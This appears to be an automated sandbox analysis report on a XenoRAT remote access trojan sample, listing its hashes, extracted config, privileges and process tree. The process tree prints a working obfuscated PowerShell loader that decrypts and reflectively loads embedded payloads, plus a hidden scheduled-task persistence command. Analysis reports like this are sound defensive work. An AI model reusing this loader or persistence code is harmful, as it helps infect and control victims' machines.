xenorat | d78ea86672081dae69afc22f94de2ce5e6867653d42d9bb8d215703be3f9f25c

Analysis

max time kernel
147s
max time network
149s
platform
windows11-21h2_x64
resource
win11-20240802-en
resource tags

arch:x64arch:x86image:win11-20240802-enlocale:en-usos:windows11-21h2-x64system
submitted
23-08-2024 10:07

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General

Target

Universe.bat
Size

266KB
MD5

b20843491bae175a8a3ea58950133d1a
SHA1

33552409f87c4b04f1a97e21c181e27327e0f847
SHA256

d78ea86672081dae69afc22f94de2ce5e6867653d42d9bb8d215703be3f9f25c
SHA512

998bfa168786a28b6d5dc1d682ee7a75eceee58980a4a643c6c89d52a521bc592aa261c653d24f697c4e092379f63816344ff3667a6acb9d21bbeb2016d8c18b
SSDEEP

6144:J4blXryzoC5iq4a8PLJlAl0bBt1Az2iZg7Z8esqA4zX:ibc8ICa8PNC0blH9dsqh

Score

10^/10

xenorat execution rat trojan

Malware Config

Extracted

Family

xenorat

127.0.0.1

Mutex

Xeno_rat_nd8912d

Attributes

delay
5000
install_path
nothingset
port
4444
startup_name
nothingset

Signatures

XenorRat
XenorRat is a remote access trojan written in C#.
trojan rat xenorat

Command and Scripting Interpreter: PowerShell 1 TTPs 3 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
4024	powershell.exe
572	powershell.exe
4152	powershell.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Modifies registry class 1 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-1735401866-3802634615-1355934272-1000_Classes\Local Settings	powershell.exe

Suspicious behavior: EnumeratesProcesses 6 IoCs

pid	Process
4024	powershell.exe
4024	powershell.exe
572	powershell.exe
572	powershell.exe
4152	powershell.exe
4152	powershell.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeDebugPrivilege	4024	powershell.exe
Token: SeDebugPrivilege	572	powershell.exe
Token: SeIncreaseQuotaPrivilege	572	powershell.exe
Token: SeSecurityPrivilege	572	powershell.exe
Token: SeTakeOwnershipPrivilege	572	powershell.exe
Token: SeLoadDriverPrivilege	572	powershell.exe
Token: SeSystemProfilePrivilege	572	powershell.exe
Token: SeSystemtimePrivilege	572	powershell.exe
Token: SeProfSingleProcessPrivilege	572	powershell.exe
Token: SeIncBasePriorityPrivilege	572	powershell.exe
Token: SeCreatePagefilePrivilege	572	powershell.exe
Token: SeBackupPrivilege	572	powershell.exe
Token: SeRestorePrivilege	572	powershell.exe
Token: SeShutdownPrivilege	572	powershell.exe
Token: SeDebugPrivilege	572	powershell.exe
Token: SeSystemEnvironmentPrivilege	572	powershell.exe
Token: SeRemoteShutdownPrivilege	572	powershell.exe
Token: SeUndockPrivilege	572	powershell.exe
Token: SeManageVolumePrivilege	572	powershell.exe
Token: 33	572	powershell.exe
Token: 34	572	powershell.exe
Token: 35	572	powershell.exe
Token: 36	572	powershell.exe
Token: SeIncreaseQuotaPrivilege	572	powershell.exe
Token: SeSecurityPrivilege	572	powershell.exe
Token: SeTakeOwnershipPrivilege	572	powershell.exe
Token: SeLoadDriverPrivilege	572	powershell.exe
Token: SeSystemProfilePrivilege	572	powershell.exe
Token: SeSystemtimePrivilege	572	powershell.exe
Token: SeProfSingleProcessPrivilege	572	powershell.exe
Token: SeIncBasePriorityPrivilege	572	powershell.exe
Token: SeCreatePagefilePrivilege	572	powershell.exe
Token: SeBackupPrivilege	572	powershell.exe
Token: SeRestorePrivilege	572	powershell.exe
Token: SeShutdownPrivilege	572	powershell.exe
Token: SeDebugPrivilege	572	powershell.exe
Token: SeSystemEnvironmentPrivilege	572	powershell.exe
Token: SeRemoteShutdownPrivilege	572	powershell.exe
Token: SeUndockPrivilege	572	powershell.exe
Token: SeManageVolumePrivilege	572	powershell.exe
Token: 33	572	powershell.exe
Token: 34	572	powershell.exe
Token: 35	572	powershell.exe
Token: 36	572	powershell.exe
Token: SeIncreaseQuotaPrivilege	572	powershell.exe
Token: SeSecurityPrivilege	572	powershell.exe
Token: SeTakeOwnershipPrivilege	572	powershell.exe
Token: SeLoadDriverPrivilege	572	powershell.exe
Token: SeSystemProfilePrivilege	572	powershell.exe
Token: SeSystemtimePrivilege	572	powershell.exe
Token: SeProfSingleProcessPrivilege	572	powershell.exe
Token: SeIncBasePriorityPrivilege	572	powershell.exe
Token: SeCreatePagefilePrivilege	572	powershell.exe
Token: SeBackupPrivilege	572	powershell.exe
Token: SeRestorePrivilege	572	powershell.exe
Token: SeShutdownPrivilege	572	powershell.exe
Token: SeDebugPrivilege	572	powershell.exe
Token: SeSystemEnvironmentPrivilege	572	powershell.exe
Token: SeRemoteShutdownPrivilege	572	powershell.exe
Token: SeUndockPrivilege	572	powershell.exe
Token: SeManageVolumePrivilege	572	powershell.exe
Token: 33	572	powershell.exe
Token: 34	572	powershell.exe
Token: 35	572	powershell.exe

Suspicious use of WriteProcessMemory 10 IoCs

description	pid	Process	procid_target
PID 420 wrote to memory of 4024	420	cmd.exe	83
PID 420 wrote to memory of 4024	420	cmd.exe	83
PID 4024 wrote to memory of 572	4024	powershell.exe	84
PID 4024 wrote to memory of 572	4024	powershell.exe	84
PID 4024 wrote to memory of 2884	4024	powershell.exe	87
PID 4024 wrote to memory of 2884	4024	powershell.exe	87
PID 2884 wrote to memory of 5348	2884	WScript.exe	88
PID 2884 wrote to memory of 5348	2884	WScript.exe	88
PID 5348 wrote to memory of 4152	5348	cmd.exe	90
PID 5348 wrote to memory of 4152	5348	cmd.exe	90

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\Universe.bat"
1⤵
- Suspicious use of WriteProcessMemory
PID:420
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noprofile -windowstyle hidden -ep bypass -command function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('SnMKy725nJUhiMQ+k00yZGWuadijDwJVVBtPnLEkkhk='); $aes_var.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('axNyr+j+G5sbsmbLId0ybw=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ $FYtig=New-Object System.IO.MemoryStream(,$param_var); $DgoBB=New-Object System.IO.MemoryStream; $zfUXx=New-Object System.IO.Compression.GZipStream($FYtig, [IO.Compression.CompressionMode]::Decompress); $zfUXx.CopyTo($DgoBB); $zfUXx.Dispose(); $FYtig.Dispose(); $DgoBB.Dispose(); $DgoBB.ToArray();}function execute_function($param_var,$param2_var){ $dTUPB=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$param_var); $vjclB=$dTUPB.EntryPoint; $vjclB.Invoke($null, $param2_var);}$host.UI.RawUI.WindowTitle = 'C:\Users\Admin\AppData\Local\Temp\Universe.bat';$KcJLn=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')('C:\Users\Admin\AppData\Local\Temp\Universe.bat').Split([Environment]::NewLine);foreach ($wEtNx in $KcJLn) { if ($wEtNx.StartsWith(':: ')) { $xAoQG=$wEtNx.Substring(3); break; }}$payloads_var=[string[]]$xAoQG.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[0])));$payload2_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[1])));execute_function $payload1_var $null;execute_function $payload2_var (,[string[]] (''));
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Modifies registry class
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:4024
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Register-ScheduledTask -TaskName 'RuntimeBroker_startup_735_str' -Trigger (New-ScheduledTaskTrigger -AtLogon) -Action (New-ScheduledTaskAction -Execute 'C:\Users\Admin\AppData\Roaming\startup_str_735.vbs') -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -Hidden -ExecutionTimeLimit 0) -RunLevel Highest -Force
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:572
- - C:\Windows\System32\WScript.exe
    "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Roaming\startup_str_735.vbs"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:2884
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Roaming\startup_str_735.bat" "
      4⤵
      Suspicious use of WriteProcessMemory
      PID:5348
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noprofile -windowstyle hidden -ep bypass -command function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('SnMKy725nJUhiMQ+k00yZGWuadijDwJVVBtPnLEkkhk='); $aes_var.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('axNyr+j+G5sbsmbLId0ybw=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ $FYtig=New-Object System.IO.MemoryStream(,$param_var); $DgoBB=New-Object System.IO.MemoryStream; $zfUXx=New-Object System.IO.Compression.GZipStream($FYtig, [IO.Compression.CompressionMode]::Decompress); $zfUXx.CopyTo($DgoBB); $zfUXx.Dispose(); $FYtig.Dispose(); $DgoBB.Dispose(); $DgoBB.ToArray();}function execute_function($param_var,$param2_var){ $dTUPB=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$param_var); $vjclB=$dTUPB.EntryPoint; $vjclB.Invoke($null, $param2_var);}$host.UI.RawUI.WindowTitle = 'C:\Users\Admin\AppData\Roaming\startup_str_735.bat';$KcJLn=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')('C:\Users\Admin\AppData\Roaming\startup_str_735.bat').Split([Environment]::NewLine);foreach ($wEtNx in $KcJLn) { if ($wEtNx.StartsWith(':: ')) { $xAoQG=$wEtNx.Substring(3); break; }}$payloads_var=[string[]]$xAoQG.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[0])));$payload2_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[1])));execute_function $payload1_var $null;execute_function $payload2_var (,[string[]] (''));
        5⤵
        Command and Scripting Interpreter: PowerShell
        Suspicious behavior: EnumeratesProcesses
        
        PID:4152

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

Filesize
3KB

MD5
df472dcddb36aa24247f8c8d8a517bd7

SHA1
6f54967355e507294cbc86662a6fbeedac9d7030

SHA256
e4e0fbc974e6946d20ddfaf22c543fccc4662d28e30530ec710fec149958f9b6

SHA512
06383259258a8c32f676ddaf7ea1fec3de7318ff1338f022e03c6b33458f2ce708e073ceb1aa26e3cf37f82dac37c8163b8ebd2de56b8530dffe177845c7adca

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
1KB

MD5
eb15ee5741b379245ca8549cb0d4ecf8

SHA1
3555273945abda3402674aea7a4bff65eb71a783

SHA256
b605e00d6056ae84f253f22adf37d6561a86d230c26fba8bfb39943c66e27636

SHA512
1f71fe8b6027feb07050715107039da89bb3ed5d32da9dca0138c393e0d705ebf3533bcccec49e70a44e0ec0c07809aef6befa097ad4ced18ca17ae98e6df0e4

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_rvm3ioyd.quj.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
C:\Users\Admin\AppData\Roaming\startup_str_735.bat

Filesize
266KB

MD5
b20843491bae175a8a3ea58950133d1a

SHA1
33552409f87c4b04f1a97e21c181e27327e0f847

SHA256
d78ea86672081dae69afc22f94de2ce5e6867653d42d9bb8d215703be3f9f25c

SHA512
998bfa168786a28b6d5dc1d682ee7a75eceee58980a4a643c6c89d52a521bc592aa261c653d24f697c4e092379f63816344ff3667a6acb9d21bbeb2016d8c18b

Download Submit
C:\Users\Admin\AppData\Roaming\startup_str_735.vbs

Filesize
115B

MD5
51b89ca272e0cdf63b5c4093d5ca4df2

SHA1
9c46b103a32ebd4a3e84dd969609cb344555ba02

SHA256
3530dd622ef7dc0e24018bd889e878d3219c7396a71d80438d970561c7a8f02a

SHA512
1ca0074d9d024120a94b1ad0548ba9c3b32758c2330c5339b3f2eb7360f24c7f06353852d3496aa5c241ceab6ff45f6918eaf21e4ab203787bf75391a5c5625f

Download Submit
memory/572-16-0x00007FFD7CE50000-0x00007FFD7D912000-memory.dmp

Filesize
10.8MB

Download
memory/572-22-0x00007FFD7CE50000-0x00007FFD7D912000-memory.dmp

Filesize
10.8MB

Download
memory/572-29-0x00007FFD7CE50000-0x00007FFD7D912000-memory.dmp

Filesize
10.8MB

Download
memory/572-26-0x00007FFD7CE50000-0x00007FFD7D912000-memory.dmp

Filesize
10.8MB

Download
memory/4024-12-0x00007FFD7CE50000-0x00007FFD7D912000-memory.dmp

Filesize
10.8MB

Download
memory/4024-0-0x00007FFD7CE53000-0x00007FFD7CE55000-memory.dmp

Filesize
8KB

Download
memory/4024-14-0x00000299EC260000-0x00000299EC294000-memory.dmp

Filesize
208KB

Download
memory/4024-13-0x00000299EBFC0000-0x00000299EBFC8000-memory.dmp

Filesize
32KB

Download
memory/4024-11-0x00007FFD7CE50000-0x00007FFD7D912000-memory.dmp

Filesize
10.8MB

Download
memory/4024-10-0x00007FFD7CE50000-0x00007FFD7D912000-memory.dmp

Filesize
10.8MB

Download
memory/4024-9-0x00000299EBFD0000-0x00000299EBFF2000-memory.dmp

Filesize
136KB

Download
memory/4024-48-0x00007FFD7CE53000-0x00007FFD7CE55000-memory.dmp

Filesize
8KB

Download
memory/4024-49-0x00007FFD7CE50000-0x00007FFD7D912000-memory.dmp

Filesize
10.8MB

Download
memory/4152-47-0x0000024199B20000-0x0000024199B32000-memory.dmp

Filesize
72KB

Download